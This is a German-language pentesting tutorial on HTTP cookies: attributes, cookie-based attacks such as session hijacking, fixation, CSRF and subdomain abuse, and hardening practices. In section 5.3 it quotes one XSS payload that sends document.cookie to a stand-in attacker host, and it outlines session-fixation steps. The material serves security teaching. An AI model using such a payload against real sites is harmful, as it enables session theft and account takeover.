ALAKEEL

HTTP-Cookie

1. Was ist ein Cookie technisch?

Ein HTTP-Cookie ist ein kleines Datenstück, das ein Server dem Browser schickt, und der Browser dieses bei späteren Requests/Anfragen wieder an den Server zurückschickt.

  • Es besteht aus Key=Value plus Attributen (Flags).
  • Wird über HTTP-Header übertragen:
    • Vom Server zum Client:
      Set-Cookie: name=wert; Path=/; HttpOnly; Secure
    • Vom Client zum Server:
      Cookie: name=wert; anderes=123

Typische Zwecke:

  • Session-Handling (Login, Warenkorb, Einstellungen)
  • Tracking (Analytics, Werbung)
  • Personalisierung (Sprache, Theme, User-Preferences)
  • CSRF-Schutz (z. B. CSRF-Token im Cookie oder SameSite)

Für Pentester sind v. a. Session- und Security-Cookies relevant, weil sie die Identität eines Users repräsentieren.

2. Cookie-Lifecycle: Wie ein Cookie „lebt“
  1. Erzeugung (Set-Cookie)
    • Server schickt Set-Cookie-Header in der Response.
    • Browser speichert das Cookie, wenn es die Regeln erfüllt (Größe, Domain, etc.).
  2. Speicherung
    • Session-Cookie (ohne Expires/Max-Age): lebt nur im RAM, bis Tab/Browser zu.
    • Persistent Cookie (mit Expires oder Max-Age): wird auf Platte gespeichert, lebt über Neustarts hinweg.
  3. Rücksendung
    • Browser prüft bei jeder Anfrage:
      • Stimmt Domain?
      • Stimmt Path?
      • Passt Secure (https)?
      • Passt SameSite-Bedingung?
    • Nur dann sendet er das Cookie in der Cookie:-Headerzeile mit.
  4. Löschung
    • Server setzt Set-Cookie nochmal, aber mit passé Expires oder Max-Age=0.
    • Oder User/Browser löscht Cookies manuell.
3. Wichtige Cookie-Attribute und ihre Sicherheitsbedeutung

Hier wird’s für Pentester interessant.

3.1 Name und Wert
  • Name: frei wählbar (z. B. PHPSESSID, JSESSIONID, session, auth_token).
  • Wert:
    • Oft ein Session-Token, z. B. zufälliger String, JWT, verschlüsselter Blob.
    • Kann auch Klartextdaten enthalten (ID, Rollen, Flags, Base64 etc.).

Als Pentester immer prüfen:

  • Ist der Wert erratbar (z. B. sequenziell)?
  • Beinhaltet der Wert sensible Infos im Klartext (z. B. User-ID, Rolle, E-Mail, Berechtigungen)?
  • Liegt ein JWT vor? -> Signatur, Claims, Algorithmen prüfen.
  • Ist das Format fälschbar (z. B. simple Base64-kodierte JSON, ohne Signatur)?
3.2 Domain

Domain=example.com

  • Ohne Domain-Attribut (host-only): Cookie wird nur an genau diesen Host gesendet, z. B. app.example.com.
  • Mit Domain=example.com: Cookie geht an alle Subdomains, z. B. app.example.com, admin.example.com, test.example.com.

Risiko für Pentester:

  • Domain-Weite Cookies: Wenn Domain=example.com gesetzt ist, kann jede Subdomain über JS auf diese Cookies zugreifen (sofern ohne HttpOnly) und diese an fremde Server exfiltrieren.
  • Wenn eine „low-privilege“-Subdomain XSS-anfällig ist, kannst du darüber evtl. die Login-Session der Hauptseite übernehmen.

Also unbedingt checken:

  • Ist das Session-Cookie auf der obersten Domain gesetzt?
  • Gibt es unsichere oder test-Subdomains?
    -> Subdomain-Takeover, XSS auf Subdomain = Session-Übernahme.
3.3 Path

Path=/ oder Path=/app/

  • Gibt an, für welchen Pfad das Cookie gültig ist.
  • Path=/ → Cookie wird für alle Pfade gesendet.
  • Path=/admin/ → nur Requests, deren Pfad mit /admin/ beginnt.

Aus Sicht Sicherheit:

  • Feingranularer Path kann das Ausmaß eines Diebstahls etwas begrenzen, aber:
  • In der Praxis sind wichtige Cookies meist Path=/, daher global für diese Domain.
3.4 Expires / Max-Age
  • Expires=Wed, 09 Jun 2027 10:18:14 GMT
  • Max-Age=3600

Sicherheits-Perspektive:

  • Lange Lebensdauer = längeres Fenster für:
    • Session-Hijacking
    • Session-Fixation
  • Session-Cookies (ohne Expires/Max-Age) sind typischerweise sicherer, wenn der Server serverseitig ordentlich invalidiert.

Als Pentester anschauen:

  • Bleibt die Session unendlich lange gültig, wenn man nicht aktiv ausloggt?
  • Ist Remember me korrekt implementiert (separater, weniger privilegierter Token)?
3.5 Secure

Secure

  • Flag ohne Wert.
  • Sagt: Dieses Cookie nur über HTTPS senden, nie über HTTP.
  • Schutz gegen Mitlesen im Klartext auf unsicheren Verbindungen (Sniffing / MItM).

Pentest-Perspektive:

  • Wenn ein sensitives Cookie kein Secure-Flag hat, kann es:
    • Über unsichere HTTP-Requests geleakt werden (z. B. Downgrade, Mixed Content, HTTP-Link nach http://example.com).
  • Test:
    • Prüfen, ob die Anwendung überhaupt noch HTTP anbietet.
    • Prüfen, ob Cookies dennoch im Klartext über HTTP geschickt werden.
3.6 HttpOnly

HttpOnly

  • Cookie ist nicht aus JavaScript zugreifbar (document.cookie).
  • Browser sendet es aber weiterhin automatisch in Requests.

Sicherheitswirkung:

  • Verhindert viele XSS -> Session-Hijacking-Szenarien, weil JS das Session-Cookie nicht exfiltrieren kann.
  • Achtung: XSS kann trotzdem Aktionen in der User-Session ausführen (CSRF via XSS), auch ohne Cookie lesen zu können.

Pentest:

  • Immer checken: Sind Session-Cookies mit HttpOnly gesetzt?
  • Fehlt HttpOnly → bei XSS kannst du direkt die Session klauen:
    • document.cookie → exfiltrieren an deinen Server.
3.7 SameSite

SameSite=Lax | Strict | None

Zweck: Schutz vor CSRF und Cross-Site-Request-Verhalten.

  • SameSite=Strict:
    • Cookie wird nur gesendet, wenn die Navigation von derselben Site kommt.
    • Kein Cookie bei Cross-Site Links, Formularen oder AJAX von Dritten.
    • Starker Schutz gegen CSRF, aber UX kann leiden (z. B. Links aus anderen Seiten führen zu „unauthentifizierten“ Requests).
  • SameSite=Lax (Default in vielen Browsern):
    • Cookie wird bei GET-Top-Level-Navigationen (Link-Klick) gesendet, aber nicht bei Cross-Site POST/iframed/AJAX.
    • Reduziert viele CSRF-Angriffe, aber nicht alle Spezialfälle.
  • SameSite=None; Secure:
    • Cookie wird immer auch bei Cross-Site-Requests gesendet, ABER:
    • Muss mit Secure kombiniert sein (sonst blocken moderne Browser).
    • Notwendig für echte Cross-Site-Nutzung (z. B. SSO, Third-Party-Integrationen).

Pentest-Perspektive:

  • Prüfe, ob kritische Session-Cookies wenigstens SameSite=Lax haben.
  • Wenn kein SameSite oder SameSite=None ohne triftigen Grund:
    → CSRF-Angriffe sehr wahrscheinlich möglich (sofern keine anderen CSRF-Schutzmechanismen existieren).
3.8 Neue/erweiterte Attribute (Partitioned / CHIPS)

Es gibt moderne Mechanismen wie partitionierte Cookies („CHIPS“ – Cookies Having Independent Partitioned State):

  • Partitioned (nur mit Secure + SameSite=None).
  • Zweck: Third-Party-Cookie, aber pro Top-Level-Site partitioniert.
  • Dient v. a. dem Datenschutz/Tracking-Schutz.

Für klassisches Pentesting stehen aber Sessions, Secure/HttpOnly/SameSite im Vordergrund.

4. Arten von Cookies aus Pentest-Sicht
4.1 Session-Cookies
  • Enthalten Session-Token, die den User identifizieren.
  • Verlust/Diebstahl = vollständige Accountübernahme.

Angriffspunkte:

  • Session-Hijacking (über XSS, Sniffing, CSRF-Login, Offene Redirects etc.).
  • Session-Fixation (Server akzeptiert vom Angreifer vorgegebene Session-ID).
4.2 Remember-Me / Persistente Auth-Cookies
  • Meist länger gültig.
  • Teilweise mit höherem Risiko (z. B. lange gültige Tokens ohne Rotation).
  • Oft separater Cookie wie remember_me, auth_token.

Angriffspunkte:

  • Dauerhafte Accounts-Übernahme auch nach Logout, wenn remember_me aktiv bleibt.
    -<Token nicht invalidiert nach Passwortänderung oder Logout>.
4.3 Tracking- und Analytics-Cookies
  • ga, _gid, _fbp, etc.
  • Meist nicht sicherheitskritisch für Auth, aber trotzdem interessant:
    • Informationsleaks (z. B. IDs, interne Strukturen).
    • Datenschutz-relevant, aber das ist eher Legal/Compliance als klassisches Pentest-Thema.
4.4 Konfigurations-/Preference-Cookies
  • Sprache, Theme, Layout etc.
  • Oft unsensibel, aber:
    • Manchmal werden auch dort Rollen/Feature-Flags verdeckt abgelegt.
    • Manipulation könnte zu Logikfehlern führen.
5. Typische Angriffe rund um Cookies
5.1 Session-Hijacking

Ziel: Session-Cookie eines anderen Users übernehmen.

Wege:

  1. XSS → document.cookie auslesen (wenn kein HttpOnly).
  2. MITM auf HTTP → Cookie im Klartext mitlesen (wenn kein Secure und HTTP erreichbar).
  3. Unsichere Speicherung auf Client-Seite (Extensions, Shared Devices, Logs).
  4. Session-Reuse über gestohlenes Token (z. B. durch Malware).

Als Pentester:

  • Suche nach XSS + fehlendem HttpOnly.
  • Prüfe HTTP-Erreichbarkeit der Seite oder Ressourcen.
  • Prüfe, ob Session-Token in URLs oder in lokal speicherbaren Orten (localStorage) landen.
5.2 Session-Fixation

Ziel: Dem Opfer eine Session-ID „unterjubeln“, die der Angreifer kennt. Wenn das Opfer sich einloggt, ist der Angreifer mit derselben Session-ID eingeloggt.

Typische Schwächen:

  • App akzeptiert Session-ID, die vom Client gesetzt wird (z. B. in URL oder Cookie).
  • Nach Login wird keine neue Session-ID generiert.

Pentest-Vorgehen:

  1. Als Angreifer unregistriert Seite besuchen → Session-ID erhalten.
  2. Diese ID z. B. über einen manipulierten Login-Link ans Opfer schicken.
  3. Opfer loggt sich ein → gleiche Session-ID bleibt bestehen.
  4. Angreifer kann mit derselben Session-ID zugreifen.

Abhilfe (zu überprüfen):

  • Session-ID-Re-Generation nach Login.
  • Keine Annahme von fremden Session-IDs via URL oder frei setzbaren Cookies.
5.3 Cross-Site Scripting (XSS) + Cookies

Wenn du XSS findest und:

  • Cookies ohne HttpOnly → direktes Session-Stealing (klassischer Payload new Image().src='https://attacker.com/?c='+document.cookie;).
  • Cookies mit HttpOnly:
    • Nicht direkt lesbar, aber:
      • Du kannst Aktionen im Namen des Users ausführen (Stored/Reflected XSS mit CSRF-Effekt).
      • Bei fehlendem CSRF-Schutz trotzdem kritische Aktionen möglich.
5.4 Cross-Site Request Forgery (CSRF)

Cookies sind automatisch an Requests angehängt. Problem:

  • Fremde Seiten können den Browser veranlassen, Requests zu senden (Form, Image, Script, XHR in bestimmten Fällen).
  • Wenn die Anwendung nur auf Cookies vertraut, ohne weiteren Token, ist sie CSRF-anfällig.

Prüfe:

  • Kritische Aktionen (Passwort ändern, E-Mail ändern, Bestellungen) → brauchen CSRF-Schutz?
  • Gibt es CSRF-Token in Formularen/Headers, die validiert werden?
  • SameSite korrekt gesetzt?

Wenn Session-Cookie SameSite=None oder fehlt ganz und kein CSRF-Schutz vorhanden:

  • Du kannst als Angreifer eine bösartige Seite bauen, die im Kontext des eingeloggten Users Anfragen an die Zielseite schickt.
5.5 Subdomain-Angriffe (Cookie-Scope-Missbrauch)

Wenn Domain=example.com:

  • Jede Subdomain (z. B. blog.example.com, test.example.com) erhält dasselbe Cookie.
  • Eine kompromittierte Subdomain (XSS, Subdomain-Takeover, SSRF → RCE) kann Session-Cookies stehlen oder manipulieren, wenn HttpOnly fehlt.

Pentest:

  • Prüfe, mit welchen Domains die applikationskritischen Cookies verknüpft sind.
  • Prüfe öffentliche Subdomains (DNS bruteforcing, Zertifikatstransparenz-Logs).
  • Suche nach einfacher angreifbaren Subdomains.
5.6 Unsichere Speicherung im Browser (Cookies vs. localStorage)

Ist zwar kein Cookie, aber wichtig im Kontext:

  • Manche Apps speichern Session-Tokens in localStorage oder sessionStorage.
  • Problem: Diese sind immer per JS lesbar, es gibt kein HttpOnly dafür.
  • XSS ⇒ immer direkt Token-Stealing möglich.

Als Pentester:

  • Prüfe, ob Auth-Tokens in localStorage liegen.
  • Bei XSS ist das meist kritischer als Cookies mit HttpOnly.
6. Was du bei einem Pentest praktisch tun solltest
6.1 Cookies identifizieren & dokumentieren
  • Nutze DevTools (Network → Responses/Requests, Application → Storage → Cookies).
  • Liste alle Cookies auf:
    • Name, Wert (falls nötig/erlaubt), Domain, Path
    • Flags: Secure, HttpOnly, SameSite, Expires/Max-Age
    • Funktion (Session? Tracking? Remember-Me? Config?)
6.2 Kritische Cookies markieren
  • Session-Cookies, Auth-/Remember-Me-Cookies, Rollen-/Rechte-Cookies.
  • Prüfe:
    • Entropie (z. B. sehr kurze / offensichtlich nicht zufällige Werte).
    • Zufälligkeit (ggf. statistische Checks bei vielen Werten).
    • Lebensdauer (sehr lange?).
6.3 Attribute prüfen

Checkliste:

  • Secure gesetzt?
    • Wenn HTTPS-only Site: Pflicht für Session-Cookies.
  • HttpOnly gesetzt?
    • Pflicht für Session-Cookies.
  • SameSite sinnvoll?
    • Mindestens Lax für Session-Cookies, wenn keine Cross-Site-Funktionalität unbedingt notwendig ist.
  • Domain möglichst eng?
    • Kein unnötiges Domain=example.com, falls nur app.example.com benötigt wird.
  • Expires/Max-Age sinnvoll?
    • Zu lange Sessions → Risiko.
6.4 Angriffsszenarien ableiten
  • Falls z. B. Session-Cookie ohne HttpOnly & ohne Secure:
    • Suche nach XSS → Session-Stealing möglich.
    • Prüfe HTTP-Zugriff → Sniffing möglich.
  • Falls SameSite unpassend oder fehlend:
    • CSRF-Angriffe auf kritische Funktionen versuchen.
  • Falls Domain zu weit gefasst:
    • Suche nach angreifbaren Subdomains, um Cookie auszunutzen.
  • Falls Session-Re-Generation fehlt:
    • Session-Fixation ausprobieren.
7. Best Practices (zum Gegenchecken im Pentest)

Wenn du ein Finding beschreibst, ist es hilfreich, Best Practices zu kennen, um konkrete Empfehlungen geben zu können:

  1. Session-Cookie:
    • Secure
    • HttpOnly
    • SameSite=Lax oder Strict (je nach Use-Case)
    • Host-only (kein Domain=) wenn möglich
    • Path=/ ist ok, wenn nötig, sonst enger.
  2. Rotation & Invalidierung:
    • Neue Session-ID nach Login/Privilege Escalation.
    • Invalidation bei Logout und nach kritischen Änderungen.
  3. Kein Session-Token in URL:
    • Vermeidet Log-Leaks, Referer-Leaks, Browser-History-Leaks.
  4. Short-lived Tokens:
    • Begrenzte Lebensdauer für Auth-Cookies (z. B. 15–60 Minuten Inaktivität, absolute TTL).
  5. Remember-Me getrennt behandeln:
    • Spezielle, schwer erratbare Tokens, die auf Serverseite verwaltet/invalidiert werden.
    • Keine reine Speicherung des Passwort-Hashes o. ä. im Cookie.
8. Zusammenfassung für Pentester

Wenn du als Pentester „Cookies prüfen“ musst, denk an:

  1. Was repräsentiert dieses Cookie?
    – Session, Auth, Tracking, Config?
  2. Welche Flags hat es?
    – Secure, HttpOnly, SameSite, Domain, Expires/Max-Age → stimmen sie mit der Sensitivität des Cookies überein?
  3. Wie ist das Session-Management insgesamt?
    • ID-Generierung, Rotation, Invalidierung, Fixation-Resistenz.
  4. Welche Angriffe werden dadurch möglich oder erleichtert?
    • XSS → Session-Stealing?
    • CSRF?
    • Sniffing über HTTP?
    • Subdomain-Missbrauch?
  5. Wie dokumentierst du das Finding?
    • Zeig konkreten Cookie-Header, betroffene Endpunkte, Beispiel-Angriffe und Empfehlungen.

In

, , , , , , , , , , ,